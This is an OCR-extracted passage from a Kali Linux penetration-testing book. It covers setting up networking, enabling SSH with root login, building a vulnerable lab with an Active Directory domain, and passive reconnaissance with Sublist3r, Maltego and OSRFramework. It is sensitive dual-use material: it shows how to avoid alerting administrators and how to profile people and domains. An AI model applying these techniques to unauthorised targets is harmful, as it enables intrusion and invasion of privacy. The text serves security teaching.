DHCPDISCOVER on eth® to 255.255.255.255 port 67 interval 5
DHCPREQUEST of 192.168.0.204 on eth® to 255.255.255.255 port 67
DHCPOFFER of 192.168.0.204 from 192.168.0.1

DHCPACK of 192.168.0.204 from 192.168.0.1

RTNETLINK answers: File exists

bound to 192.168.0.204 -- renewal in 395569 seconds.

In the case of a static IP, you can append the same network configuration file with the
following lines and quickly set up a static IP to your Kali Linux:

# nano /etc/network/interfaces
iface eth0O inet static

address <your address>
netmask <subnet mask>
broadcast <broadcast mask>
gateway <default gateway>

# nano /etc/resolv.conf
nameserver <your DNS ip> or <Google DNS (8.8.8.8)>
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By default, Kali does not start with the DHCP service enabled. Doing so announces the new
IP address to the network, and this may alert administrators about the presence of the
tester. For some test cases, this may not be an issue, and it may be advantageous to have
certain services start automatically during boot up. This can be achieved by entering the
following commands:

update-rc.d networking defaults
/etc/init.d/networking restart

Kali installs with network services that can be started or stopped as required, including
DHCP, HTTP, SSH, TFTP, and the VNC server. These services are usually invoked from the
command line, however, some are accessible from the Kali menu.

Adjusting network proxy settings

Users located behind an authenticated or unauthenticated proxy connection must modify
bash.bashrc and apt . conf. Both files are located in the /etc/ directory.

Edit the bash.bashrc file, as shown in the following screenshot, using a text editor to add
the following lines to the bottom of the bash.bashrc file:

export ftp_proxy="ftp://username:password@proxyIP:port"
export http_proxy="http://username:password@proxyIP:port"
export https_proxy="https://username:password@proxyIP:port"
export socks_proxy="https://username:password@proxyIP:port"

root@kali: ~ e ® 0
File Edit View Search Terminal Help

GNU nano 2.9.5 /etc/bash.bashrc Modified

/usr/share/command-not-found/command-not-found -- "$1"
return $?
else
printf "%s: command not found\n" "$1" >&2
return 127
fi

fi

export ftp_proxy="ftp://user:password@proxyIP:port"
export http_proxy="http://user:password@proxyIP:port"
export https_proxy="https://user:password@proxyIP:port"
export socks_proxy="https://user:password@proxyIP:port"
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Replace proxyIP and port with your proxy IP address and port number respectively, and
replace user and password with your authentication username and password. If there's no
need to authenticate, write only the part following the @ symbol. Save and close the file.

Accessing the secure shell

To minimize detection by a target network during testing, Kali does not enable any
externally listening network services. Some services, such as Secure Shell (SSH), are already
installed. However, they must be enabled prior to use.

Kali comes preconfigured with default SSH keys. Before starting the SSH service, it's a good
idea to disable the default keys and generate a unique keyset for use.

Move the default SSH keys to a backup folder, and then generate a new SSH keyset using
the following command:

dpkg-reconfigure openssh-server

To confirm the SSH service is running, you can verify using the following command
(service ssh status) as shown in the following screenshot:

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# dpkg-reconfigure openssh-server
:~# service ssh start
:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name

tecp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
2786/sshd

tcpb 0 ] 5882 B-2B5 LISTEN
2786/sshd
~#
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Note that, with the default configuration of SSH, root login will be disabled. If you require
access with the root account, you may have to edit /etc/ssh/sshd_configand

set PermitRootLogin to yes, save, and then exit. Finally, from any system on the same
network, you should be able to access the SSH service and utilize Kali Linux. In this
example, we would use PuTTY, which is a free and portable SSH client for windows. Now
you should be able to access the Kali Linux from another machine, accept the SSH
certificate, and enter your credentials, as shown in the following screenshot:

EP root@kali: ~ EI@
login as: root I
root@1l92.168.0.204's password:

Linux kali 4.15.0-kali2-amdé4 #1 SMP Debian 4.15.11-1kalil (2018-03-21) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Jul 8 23:14:22 2018 from 192.168.0.20
rootfkali:~# I

Speeding up Kali operations
Several tools can be used to optimize and speed up Kali operations:

e When using a VM, install the VM's software drive package: Guest Additions
(VirtualBox) or VMware Tools (VMware).

We have to ensure that we run apt —get update before the installation.

e When creating a VM, select a fixed disk size instead of one that is dynamically
allocated. It is faster to add files to a fixed disk, and there is less file
fragmentation.
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¢ By default, Kali does not show all applications that are present in the start up
menu. Each application that is installed during the boot up process slows the
system data and may impact memory use and system performance. Install Boot
Up Manager (BUM) to disable unnecessary services and applications that are
enabled during the boot up (apt-get install bum), as shown in the following
screenshot:

Boot-Up Manager @ 00
File Services Help
Activate Description

9df95d102d2b0aad5aff13603ef0cb3f

Running

lvm2-lvmetad

- éB30’9d3eBBBcaedeBTeGSGOeBBS1d182 >
thin '

- ;9df95d102d2bOaadSa'Ff13603eﬂ}cb3'F >
:lvm2-lvmpolld

- Ec848721d436e6dbc693c36d06bf45ef’9 5
- uuidd

- * c25fbd9bcc88ab95bcc33eead228fd42 a
grsyslog

- é9?25217383c5d7c9454fe7d0db54bd32 >
Espeech—dispatcher ’

- é40‘F2879e95ee03b8541cb267e03f1f29 >
Epcscd ’ v

Apply | [] Advanced Quit
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Sharing folders with the host operating system

The Kali toolset has the flexibility to share results with applications residing on different
operating systems, especially Microsoft Windows. The most effective way to share data is
to create a folder that is accessible from the host operating system as well as the Kali Linux

VM guest.

When data is placed in a shared folder from either the host or the VM, it is immediately
available via the shared folder to all systems that access that shared folder.

To create a shared folder, perform the following steps:

1.

Create a folder on the host operating system. In this example, it will be called
kali_Share.

Right-click on the folder and select the Sharing tab. From this menu, select
Share.

Ensure that the file is shared with Everyone, and that Permission Level for this
share is set to Read / Write.

If you haven't already done so, install the appropriate tools onto Kali Linux. For
example, when using VMware, install the VMware tools.

When the installation is complete, go to the VMware player menu and select
Manage and click Virtual Machine Settings. Find the menu that enables Shared
Folders and select Always Enabled. Create a path to the shared folder that is
present on the host operating system, as shown in the following screenshot:
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G
Player = | -

A [P
Applicati Hardware Options

Folder sharing

Settings Summary
N - ¥, Shared folders expose your files to programs in the
=l Genersl ali Linux-2018. 1-ym-amde4 virtual machine. This may put your computer and

P Power Add Shared Folder Wizard X :;f'dem if you

]J' Shared Folders
@VMware Tools Name the Shared Folder

[ Uity What would you like to call this shared folder?
r_%; Autologin hspend
Host path

| D:\Hacktools

MName

| kali_share

Properties

Mext =

6. In the case of Oracle VirtualBox, select the VM and go to the Settings and select
Shared Folders, as shown in the following screenshot:
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Applicatiol % - Places +

@

@ General Shared Folders
Ig System Shared Folders

Display Nam’:‘ {3 Add Share ? Auto-mount  Access
Storage T Folder path: [ || 0siscktools

Ip Audio Folder Name: |Ka|i_share|

[1 Read-only
@ Network
Auto-mount

’@ Serial Ports Make Permanent
& use

Ii Shared Folders
E User Interface

Older versions of VMware player use a different menu.

7. Run the mount-shared-folders. sh file from the Kali Linux desktop from your
VirtualBox. Now the shared folder will be visible in mnt, as shown in the
following screenshot:

Applications v

root@kali: /mnt/hgfs/kali_share
File Edit View Search Terminal Help

# cd Desktop/
# ls

mount-shared-folders.sh

: # sh mount-shared-folders.sh
[1] Mounting kali_share (/mnt/hgfs/kali_share)

: # cd /mnt/hgfs/kali_share/

: # 1s
7601.17514.101119-1850_x64fre_server_eval _en-us-GRMSXEVAL_EN_DVD.iso
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8. Everything placed in the folder will be accessible in the folder of the same name
on the host operating system and vice versa.

The shared folder, which will contain sensitive data from a penetration test, must be
encrypted to protect the client's network and reduce the tester's liability should the data
ever be lost or stolen.

Using Bash scripts to customize Kali

Typically, to maintain system and software development, command-line interfaces were
developed as multiple shells in Linux, namely sh, bash, csh, tcsh, and ksh.

We can utilize the following Bash scripts to customize the Kali Linux depending upon the
goal of our penetration

testing: https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Pen
etration-Testing-Third-Edition/blob/master/Chapter%$2001/lscript-master.zip.

Building a verification lab

As a penetration tester, it is recommended to set up your own verification lab to test any
kind of vulnerabilities and have the right proof of concept before emulating the same on a
live environment.

Installing defined targets

In order to practice the art of exploitation, it is always recommended to make use of the
well-known vulnerable software. In this section, we will be installing Metasploitable3,
which is a Windows platform, and Mutillidae, which is a PHP framework web application.
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Metasploitable3

Metasploitable3 is an indubitable vulnerable VM that's intended to be tested for multiple
exploits using Metasploit. It is under BSD-style license. Two VMs can be built for practice,
which can be downloaded from: https://github.com/rapid7/metasploitable3. You can
download the ZIP file and unzip it in your favorite Windows location (typically, we
segregate in the D: \HackTools\ folder) or you can git clone
https://github.com/rapid7/metasploitable3 using Bash command. Install all of the
relevant supporting software such as Packer (https://www.packer.io/downloads.html),
Vagrant (https://www.vagrantup.com/downloads.html), VirtualBox, and the Vagrant
reload plugin. The following commands should install all of the relevant vulnerable
services and software:

¢ On Windows 10 as the host operating system, you can run the following
commands:

./build.psl windows2008
./build.psl ubuntul404

¢ On Linux or macOS, you can run the following commands:

./build.sh windows2008
./build.sh ubuntul404

After the VirtualBox file download, you'll just have to run vagrant up win2k8 and
vagrant up ubl404 in the same PowerShell. This should bring up your new VM in your
VirtualBox without any problem as shown in the following screenshot:

e o een

New Settings Show Machine Tools

5128 Kali Linux E General = preview
(J > Running L
Name: Kali Linux
'. metasploitable3_win... Operating System: Debian (64-bit)
zqf)'é'l = Running System
Metasploitable3-ub1... Base Memory: 2048 MB
= Running Processors: 4
Boot Order: Floppy, Optical, Hard
Disk
Acceleration: VT-x/AMD-V, Nested
Paging, PAE/NX, KVM

Paravirtualization
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Mutillidae

Mutillidae is an open source insecure web application, which is designed for penetration
testers to practice all of the web-app specific vulnerability exploitation. XAMPP is another
free and open source cross-platform web server solution stack package developed by
Apache Friends. The XAMPP can be downloaded

from: https://www.apachefriends.org/download.html.

We will now be installing the Mutillidae to our newly installed Microsoft windows 2008 R2
server to host it:

1. Once XAMPP is downloaded, let's go ahead and install the executable by
following the wizard. Once the installation is complete and the XAMPP
launched, you should be able to see the following screen. We will be using
XAMPP version 5.6.36 / PHP 5.6.36:

& Setup o | |

(2 bitnami for XAMPP

Bitnami for XAMPP provides free installers that can install
Drupal, Joomla!, WordPress and many other popular open source
apps on top of your existing XAMPP installation.

Installing
Unpacking files

¥AMPP Installer
< Badk MNext = Cancel
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2. Mutillidae can be downloaded from: https://sourceforge.net/projects/
mutillidae/files/latest/download.

3. Unzip the file and copy the folder to
C:\yourxampplocation\htdocs\<mutillidae>.

4. You have to ensure XAMPP is running Apache and MySQL/MariaDB and finally
access the .htacess file inside the muti11idae folder and ensure that
127.0.0.1 and the IP range are allowed. We should be able to see the web
application installed successfully as shown in the following screenshot and it can
be accessed by visiting http://localhost/mutillidae/:

fj http:{ /localhost/Mutillidaeindex.php?page=home.php&popUphiotificati E N ws [% — =] x|
@\‘__: vli http:_."_.'1on3|host_:1vlutillidae_:index.php?page:hc-me.php&pc-lepj |+ || X I,}';Bing Foliis

{3 Favorites | 55 £ | Suggested Sites ~ @ | Web Slice Gallery =

$ htq:l:MomlhosWuﬁllidaeﬁndex.php?page=home.ph|:|...| | @ R - @ - Page - Safety - Toals ~ '@"

@ OWASP Mutillidae II: Keep Calm and P\

Version: 2.6.62 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) No

Home Login/Register Toggle Hints Show Popup Hints Tooggle Security Enforce SSL  Reset DB Vie

OWASP 2017

P — ‘ Hints and Videos ‘

What Should | Do? Yo \ideo Tutorials
(Tube}

Help Me! E Listing of vulnerabiliti

OWASP 2010
OWASP 2007 [
Web Services 4

HTML 5 [

Documentation

Resources

- ,_\[ I'LI

In case of error messages saying that the database is offline or something
similar, you may have to reset or set up the DB for Mutillidae.

o

S
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Setting up an Active Directory and Domain
Controller

In the previous edition of Mastering Kali Linux for Advanced Penetration Testing, we learned
how to set up an Active Directory in Windows 2008 R2. In this section, we will install
Active Directory on Windows 2008 R2. Once you've downloaded the ISO from Microsoft
and installed the operating system on VMware workstation player or VirtualBox, you
should be able to do the following steps:

1.
. From the Server Manager, click on Add roles and features.

Open the Server Manager from the taskbar.

Select Role-based or Features-based installation from the Installation Type
screen and click Next.

By default, the same server will be selected.

From the Server Roles page place a checkmark in the checkbox next to Active
Directory Domain Services. Additional roles, services, or features are also
required to install Domain Services: click Add Features.

Select optional features to install during the AD DS installation by placing a
check in the box next to any desired features, and then click Next, operating
system compatibility checks, then select Create a new domain in a new format
and click Next.

Enter the FQDN (Fully Qualified Domain Name). In the example, we will create
anew FQDN asmastering.kali.thirdedition; that should take us to forest
functional level. We can select Windows 2008 R2 and click Next; that will enable
us to install the DNS (Domain Name System). During this installation, it is
recommended to set a static IP to this machine so that the domain controller
features can be enabled; in our case, we set the static IP of this server to
192.168.x.x. Finally, you'll need to set the Directory Services Restore mode
administrator password; a summary of the configuration will be present.

On the Confirm installation selections screen, review the installation and then
click Install.

Once everything is complete, you should be able to see the following screenshot:
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LAl

@ Active Directory Domain Services Installation Wizard x|

Completing the Active Directory
Domain Services Installation
Wizard

Wctive Directony Domain Services is now installed on this;l
computer for the domain "mastering kali thirdedition™.

'This Active Directory domain controller is assigned to the
site "'Default-First-5ite-Mame”. You can manage sites
with the Active Directory Sites and Services
administrative tool.

To close this wizard, click Finish. [}5

< Back I Finish I Cancel

Adding users to the Active Directory

To demonstrate the privilege escalation in later chapters, we will create a normal user with
domain user privilege and a domain administrator user with full privileges.

To create a normal user on domain, run the following command in the command line on
our Domain Controller:

net user normaluser PasswOrdl2 /add /domain
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To create a domain administrator account, the following commands will create a user as
admin and add this user to the domain admins group:

net user admin Passw0Ordl123 /add /domain
net group "domain admins" admin /add /domain

To validate these users are created, you can use the domain controller by simply running
net user from the command line and you should be able to see the users, as shown in the
following screenshot:

Administrator: C:\Windows\system32\cmd.exe

Microsoft Windows [Wersion 6.1.76011
Copyright <c? 2ZB89? Microsoft Corporation. All rights reserved.

GC:~UserssAdministrator>net user
User accounts for “SWIN-JUTBAJY?IDBE
Administrator

Mormaluser
The command completed successfully.

Adding Metasploitable3 Windows to the new domain

Now we will go back to the Metasaploitable3 Windows that we installed and add it to our
newly created domain by following the steps:

1. Add the IP address of the domain controller to the DNS setting by editing the
Ethernet adapter properties. This is to resolve the FQDN; Metasploitable3 will
need to query the domain controller for the domain name resolution.

2. Click Start button and right click on My Computer and select Properties; under
Computer name, Domain and Workgroup settings click on Change settings,
that should pop up a system properties windows. On the window click, on
Change.

3. Select the radio button from Workgroup to Domain and enter the domain name
as shown in the following screenshot; in our case, the domain name is
mastering.kali.thirdedition:
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]
x
You can change the name and the membership of this
computer
Computer name:
Imetaspll:u'rtal:ule Fwindd )
Full computer name: hirdedition
metasploitable 3-win2c8 Mastering kali thirdedition
More
nange... I
— Member of
' Domain:
IMasteﬁng.kaIi.thirded'rtiu:un
= Worgroup:
ok | cancel |
oK | cancel | ppy

4. That should prompt you to enter the username and password, and we can login
as either normaluser or admin that we created. Once authenticated, the system
is connected the domain and any domain user will be able to log in to
Metapsloitable3.

This should provide us with a wide range of exposure to multiple vulnerabilities on the
network:

¢ A vulnerable Windows 2008 R2 (Metasploitable3 server) that is connected to a
domain (mastering.kali.thirdedition).

¢ A vulnerable web application hosted on a vulnerable Windows 2008 R2 Server
(Metasploitable3)

¢ A vulnerable services Linux machine (Metasploitable3) running Ubuntu 14.04
¢ A domain controller with one domain admin and one normal user
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Managing collaborative penetration testing
using Faraday

One of the most difficult aspects of penetration testing is remembering to test all of the
relevant parts of the network or system target or trying to remember whether the target
was actually tested after the testing has been completed. In some cases, a single client may
have multiple penetration testers performing scanning activities from multiple locations
and management would like to have a single view. Faraday can provide a single view,
assuming all of the penetration testers are able to ping each other on the same network or
on the internet for external assessment.

Faraday is a multiuser penetration test IDE (Integrated Development Environment). It is
designed for testers to distribute, index, and analyze all of the data that is generated during
the process of a penetration testing or technical security audit to provide different views
such as Management, Executive Summary, and Overall Issues lists.

This IDE platform is developed in Python by InfoByte and version 2.7.2 is installed by
default in the latest version of Kali Linux. You can navigate from the menu Applications,
click on 12-Reporting tools, and then click on Faraday IDE. That should open up the new
workspace to be created by the testers, as shown in the following screenshot:

Terminal @ @ ¢

File Edit View Search Terminal Help
= - faraday.launcher - INFO - Setting up icons for GTK int|g

Faraday 2.7.2

Create New Workspace

here are no workspaces available. You must create one to continue using Faraday.

Name: ‘ | ‘

Description:

Workspace status: 0 hosts, 0 services, 0 vulnerabilities. Conflicts: 0
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Launching Faraday should be able to open up the Faraday shell console to us, as shown in
the following screenshot:

Faraday 2.7.2 @ 0 0

(® up), 1 unde ng ARP Pi

9:00:00 remaini

1/0
_ en | / ] 2 Workspaces | Hosts
INFO ]- 2018-07-08 19:37:32,841 - faraday.ModelController - Plugin Started: Nmap “
INFO ]- 2018-07-08 19:37:32,843 - faraday.ModelController - Plugin Ended: Nmap
INFO ]- 2018-07-08 19:38:34,185 - faraday.ModelController - Plugin Started: Nmap
INFO ]- 2018-07-08 19:38:35,398 - faraday.ModelController - Plugin Ended: Nmap I
Notifications: 0 | Workspace status: 1 hosts, 3 services, 0 vulnerabilities. Active workspace: hack | Conflicts: O
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One of the features of the application is that following any scanning that you or any other
penetration testers in your team do, you'll be able to visualize the information by clicking
on Faraday Web and you'll be able to see the following;:

|/ © Hosts | Faraday x \ +

€ ) ® | 127.0.0.1:5985/_uif#/hosts/ws/hack c Search wa ¥ A S

[ Most Visitedv  JlOffensive Security Sy Kali Linux “ Kali Docs % Kali Tools = Exploit-DB W Aircrack-ng gl Kali Forums s NetHunter "\ Kali Training & Getting Started

Hosts for hack (1) [ EEERE

a
‘-:-i NAME OPEN SERVICES VULNS CREDENTIALS 0os OWNED LAST MODIRED
Q 192.168.146.1 3 0 0 22] not yet 2 minutes ago
1] 17 0w G0 1

Faraday Web

There is a limitation on the free version of Faraday for Community that
can be utilized to visualize the whole list of issues in a single place.

Summary

In this chapter, we took a journey into different methodologies and goal-based penetration
testing that help organizations to test themselves against real-time attacks. We learned how
penetration testers can use Kali Linux in multiple different platforms to assess the security
of data systems and networks. We've taken a quick look into installing Kali on different
virtualized platforms and how we can run a Linux operating system on a Windows
platform using Docker.
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We've built our own verification lab, set up Active Directory Domain Services, and set up
two different VMs on the same network, one of which is part of the Active Directory. Most
importantly, we learned how to customize Kali to increase the security of our tools and the
data that they collect. We're working to achieve the goal of making tools support our
process, instead of the other way around!

In the next chapter (Chapter 2, Open Source Intelligence and Passive Reconnaissance), we will
learn how effectively we can master Open Source Intelligence (OSINT) to identify the
vulnerable attack surfaces of our target and create customized username and password lists
to facilitate more focused attacks, extract these details from the dark web, and use other
exploits.
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Open Source Intelligence and
Passive Reconnaissance

Information gathering is the method of gathering all relevant information from publicly
available sources, often referred to as open source intelligence (OSINT). Passive
reconnaissance through OSINT occurs during the first step of the kill chain when
conducting a penetration test, or an attack against a network or server target. An attacker
will typically dedicate up to 75% of the overall work effort for a penetration test to
reconnaissance, as it is this phase that allows the target to be defined, mapped, and
explored for the vulnerabilities that will eventually lead to exploitation.

There are two types of reconnaissance:

¢ Passive reconnaissance (direct and indirect)
¢ Active reconnaissance

Generally, passive reconnaissance is concerned with analyzing information that is openly
available, usually from the target itself or public sources online. On accessing this
information, the tester or attacker does not interact with the target in an unusual
manner—requests and activities will not be logged, or will not be traced directly to the
tester. Therefore, passive reconnaissance is conducted first to minimize the direct contact
that may signal an impending attack or to identify the attacker.

In this chapter, you will learn the principles and practices of passive reconnaissance, which
include the following:

e Basic principles of reconnaissance
OSINT
Online resources and dark web search

e Using scripts to automatically gather OSINT data
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¢ Obtaining user information
e Profiling users for password lists
¢ Using social media to extract words

Active reconnaissance, which involves direct interaction with the target, will be covered in
Chapter 3, Active Reconnaissance of External and Internal Networks.

Basic principles of reconnaissance

Reconnaissance, or recon, is the first step of the kill chain when conducting a penetration
test or attack against a data target. This is conducted before the actual test or attack of a
target network. The findings will give a direction as to where additional reconnaissance
may be required, or the vulnerabilities to attack during the exploitation phase.
Reconnaissance activities are segmented on a gradient of interactivity with the target
network or device.

Passive reconnaissance does not involve any malicious direct interaction with the target
network. The attacker's source IP address and activities are not logged (for example, a
Google search for the target's email addresses). It is difficult, if not impossible, for the target
to differentiate passive reconnaissance from normal business activities.

Passive reconnaissance is further divided into direct and indirect categories. Direct passive
reconnaissance involves the normal interactions that occur when an attacker interacts with
the target in an expected manner. For example, an attacker will log on to the corporate
website, view various pages, and download documents for further study. These
interactions are expected user activities, and are rarely detected as a prelude to an attack on
the target. In indirect passive reconnaissance, there will be absolutely no interaction with
the target organization.

Active reconnaissance involves direct queries or other interactions (for example, port
scanning of the target network) that can trigger system alarms or allow the target to capture
the attacker's IP address and activities. This information could be used to identify and
arrest an attacker, or used during legal proceedings. Because active reconnaissance requires
additional techniques for the tester to remain undetected, it will be covered in chapter 3,
Active Reconnaissance of External and Internal Networks.

Penetration testers or attackers generally follow a process of structured information
gathering, moving from a broad scope (the business and regulatory environments) to the
very specific (user account data).
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To be effective, testers should know exactly what they are looking for and how the data will
be used before collection starts. Using passive reconnaissance and limiting the amount of
data collected minimizes the risk of being detected by the target.

Open source intelligence

Generally, the first step in a penetration test or an attack is the collection of OSINT. This is
the art of collecting information from public sources, particularly the internet. The amount
of available information is considerable—most intelligence and military organizations are
actively engaged in OSINT activities to collect information about their targets, and to guard
against data leakage about them.

OSINT can be divided into two types: offensive and defensive. Offensive deals with
harvesting all the data that are required to prepare an attack on the target, while defensive
is art of collecting the data of previous breaches and any other security incidents relevant to
the target that can be utilized to defend or protect themselves. The following diagram
depicts a basic mind map for OSINT:

OPEN SOURCE INTELLIGENCE

Domain Mames Dark Web

Google Caches Security Breaches

DEFENSIVE

Data Dump Sites Threat Intelligence

Emails

IP Addresses

Virtual Hosts

Scraping Shared Host listing

OFFENSIVE

Sub Domains

Social Media
PGP Keys

Shodan Search

Log Files

) Senstive Locations
Google Hacking Database

\ Database fles

Published Files
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Offensive OSINT

The information that is targeted for collection is dependent on the initial goal of the
penetration test. For example, if testers want to access personal health records, they will
need the names and biographical information of relevant parties involved (third-party
insurance companies, healthcare providers, head of IT operations in any industry,
commercial suppliers, and so on), their usernames, and passwords. If the route of an attack
involves social engineering, they may supplement this information with details that give
credibility to the requests for information, such as:

¢ Domain names: Identification of targets for the attackers or penetration testers
during an external scenario begins with domain names, which is the most crucial
element of OSINT.

e DNS reconnaissance and route mapping: Once a tester has identified the target
that has an online presence and contains items of interest, the next step is to
identify the IP addresses and routes to the target. DNS reconnaissance is
concerned with identifying who owns a particular domain or series of IP
addresses (whois sorts of information, although this has changed a lot after
General Data Protection Regulation), the DNS information defining the actual
domain names and IP addresses assigned to the target, and the route between the
penetration tester or the attacker and the final target.

This information gathering is semi-active—some of the information is available from freely
available open sources, while other information is available from third parties such as DNS
registrars. Although the registrar may collect IP addresses and data concerning requests
made by the attacker, it is rarely provided to the end target. The information that could be
directly monitored by the target, such as DNS server logs, is almost never reviewed or
retained. Because the information needed can be queried using a defined systematic and
methodical approach, its collection can be automated.

In the following sections, we will discuss how easy it would be to enumerate all the domain
names just by using simple tools from Kali Linux.
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Domain gathering using Sublist3r

Sublist3r is a Python-based tool that can be utilized during domain harvesting, which can
enumerate sub-domains of a primary domain using OSINT. The tool utilizes APIs such as
Google, Bing, Baidu, and ASK search engines. It also searches in NetCraft, Virustotal,
ThreatCrowd, DNSdumpster, and reverseDNS; this also performs brute force using a
specific wordlist.

The tool can be directly downloaded from GitHub, or by running git clone
https://github.com/aboul3la/Sublist3r/ in the Kali Terminal.

Once the tool is downloaded, ensure you install the requirements and then run the tool to
harvest the sub-domains of your target, as shown in the following screenshot:

rootlkali: # ./sublist3r.py -d cyberhia.com

Coded By Ahmed Aboul-Ela - (@aboul3la

Searching now in Baidu..
Searching now in Yahoo..
Searching now in Google..
Searching now in Bing..
Searching now in Ask..
Searching now in Netcraft..
Searching now in DNSdumpster..
Searching now in Virustotal..
Searching now in ThreatCrowd..
Searching now in SSL Certificates..
Searching now in PassiveDNS..
Total Unique Subdomains Found: 3

www .cyberhia.com

blog.cyberhia.com

demo . cyberhia.com
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Maltego

Maltego is one of the most capable OSINT frameworks for personal and organizational
reconnaissance. It is a GUI tool that provides the capability of gathering information on any
individuals, by extracting the information that is publicly available on the internet by
various methods. It is also capable of enumerating the DNS, brute-forcing the normal DNS
and collecting the data from social media in an easily readable format.

How are we going to use the Maltego M4 in our goal-based penetration testing or red
teaming exercise? We can utilize this tool in developing a visualization of data that we
gathered. The community edition is shipped along with Kali Linux. The easiest way to
access this application is to type maltegoce in the Terminal. The tasks in Maltego are
named as transforms. Transforms come built into the tool and are defined as being scripts
of code that execute specific tasks. There are also multiple plugins available in Maltego,
such as the SensePost toolset, Shodan, VirusTotal, ThreatMiner, and so on.

The steps to use Matego for OSINT are as follows:

1. In order to access Maltego, you will need to create an account with Paterva. This
can be achieved by visiting https://www.paterva.com/web7/community/
community.php and creating an account. Once the account is created and
successfully logged in to the Maltego application, we should be able to see the
following screenshot:
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Sun 16:11

Product Selection

Product Selection

select how want to

Please choose how you want to use Maltego: Compare Produ... Activate without Inter...

Maltego XL Maltego eXtra Large is Paterva's premium solution to visualise

) ) large data sets and allows for more than 10 000 entities in a
Activate with key single e

@ purchase

Maltego Classic Maltego Classic is & commercial version of Maltego which allows

] ] users to visualize up to 10 000 entities in & graph.
Activate with key P drap

|'_,.a Purchase

Maltego CE (Free) In Maltego CE (Community Edition) the community transforms
will be installed and can be run to generate graphs, but the

“ features are limited and the resulting graphs may not be used
for commercial purposes.

Maltego CaseFile (Free) |n Maltego CaseFile graphs can only be created manually. no
transforms may be run. More types of entities will be installed
and the resulting graphs may be used for commercial
purposes.

2. Upon clicking on Maltego CE (Free), you should be ready and all set as detailed
next. That will enable us to utilize the community transforms. But, this is always
limited to 12 entities.

Transform Hub is where the Maltego client allows users to easily install the
transforms by different data providers, which have commercial and community
transforms.
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3. The next step is to log in to Maltego with your account; you must be able to see
the following screenshot upon successful setup:

Configure Maltego

Y: Your Maltego is now ready for use.

Legin
Login Result

Ready...Set...GO!

Install Transft

Help Improve Maltego Your new Maltego client has been initialized sucessfully!

Ready You can read the full User Guide... https://docs paterva com/fuser-gui. ..
You are now ready to use Maltego!
O Open a blank graph and let me play around
O Open an example graph

Go away,. | have done this beforel

4. Now click on Finish and you are ready to use Maltego and run the machine, by
navigating to Machines in the Menu folder and clicking on Run Machine; and
then, you will be able to start an instance of the Maltego engine.

The following screenshot provides the list of available options in Maltego public
machines:
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Start a Machine

Choose machine

Specify target

() Company Stalker

() Find Wikipedia Edits

() Footprint L1

(") Footprint L2

ﬂ Please select @ machine to run.

Typically, when we select Maltego Public Servers, we will have the following machine

selections:

Company Stalker: To get all email addresses at a domain and then see which one
resolves on social networks. It also downloads and extracts metadata of the
published documents on the internet.

Find Wikipedia edits: This transform looks for the alias from the Wikipedia edits
and searches for the same across all social media platforms.

Footprint L1: Performs basic footprints of a domain.
Footprint L2: Performs medium-level footprints of a domain.

Footprint L3: Intense deep dive into a domain, typically used with care since it
eats up all the resources.

Footprint XML: This works on the large targets such as a company hosting its
own data centers, and tries to obtain the footprint by looking at sender policy
framework (SPF) records hoping for netblocks, as well as reverse delegated DNS
to their name servers.
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o Person - Email Address: To obtain someone's email address and see where it's
used on the internet. Input is not a domain, but rather a full email address.

¢ Prune Leaf entries: Helps to filter the information by providing the options to
delete certain parts of the network.

o Twitter digger X: Twitter tweets analyzer for aliases.

o Twitter digger Y: Twitter affiliations, finds the tweet, and extracts and analyzes
it.

e Twitter Monitor: This can be utilized for performing operations to monitor
Twitter for hashtags and named entities mentioned around a certain phrase.
Input is a phrase.

¢ URL to Network and Domain Information: This transform will identify the
domain information of other TLDs. For example, if you provide
www . cyberhia.com, it will identify www.cyberhia.co.uk, cyberhia.co.in,
and so on and so forth.

Attackers begin with Footprint L1 to have a basic understanding of the domain and its
potentially available sub-domains and relevant IP addresses. It is fairly good to begin with
this information as part of information gathering; however, attackers can also utilize all the
other machines as mentioned previously to achieve their goal. Once the machine is selected,
click on Next and specify a domain, for example, cyberhia.com. The following screenshot
provides the overview of cyberhia.com:

& Maltego Sun 16:26

S RBERES Maltego Community Edition 4.1.0

d 'nvestinate  View  Entities  Collections  Transforms  Machines  Collaboration  Import | Export  Windows

% % % % & Machines Window

Run stop all New Manage
Machine Machines | Machine Machines

New Graph (1) X <2V
+ {} Transforms <Y Footprint L1
- o Machines ¢ (." ° )

Company Stalker
Thi

cyberhiz.com s Machine completed

d Wikipedia Ed

!
+ Relationships

Property View

_spfigbogle.com \ns@jumax.ne{.

blog.cyberhia.com ftp.cyberhia.com

Footprint of Cyberhia.com
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OSRFramework

OSRFramework is a tool designed by i3visio in order to perform open source threat
intelligence as a web interface, and with consoles as OSRFConsole. This tool can be
installed directly through pip by running the pip install osrframework command.

OSRFramework provides threat intelligence about keywords in multiple sources, and also
provides the flexibility to be a standalone tool, or a plugin to Maltego. There are three
handy modules that come with OSRFramework, which can be utilized by penetration
testers during an external threat intelligence data collection:

e usufy: This is used to search on multiple search engines, to identify the
keywords in the URL, and to automatically enumerate and store all the
results in . csv format. The following screenshot provides the output of
cyberhia as a keyword to usufy:

usufy -n cyberhia

Sheet Name: Profiles recovered (2018-7-15_11h2m).
__________________ +

i3visio platform |

| https://github.com/cyberhia

| https://wmw . freelancer .con/u/cyberhia heml
| https://wmw. facebook.com/cyberhia
| http://realearders . us/menber phprusernamemcyberhia

| http://twitter.com/cyberhia
e e e e e e e e e

F—F—F—t— +— +— + — +
b=k —F— = — =+ =+

2018-07-15 11:02:28.160567 You can find all the information here:
./profiles.csv

e searchfy: Search for the keyword in Facebook, GitHub, Instagram, Twitter, and
YouTube. The following command can be used to query cyberhia as a keyword
to searchfy:

searchfy —-q "cyberhia"

e mailfy: Identify the keyword and add the email domains to the end of the
keyword, and automatically search in haveibeenpawned.com with an APT call:

mailfy -n cyberhia
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Web archives

What is deleted from the internet is not necessarily deleted from Google. Every page that is
visited by Google is backed up as a snapshot in Google's cache servers. Typically, it is
intended to see whether Google can serve you the best available page based on your search
query. The same can be utilized to gather information about our target. For example, say a
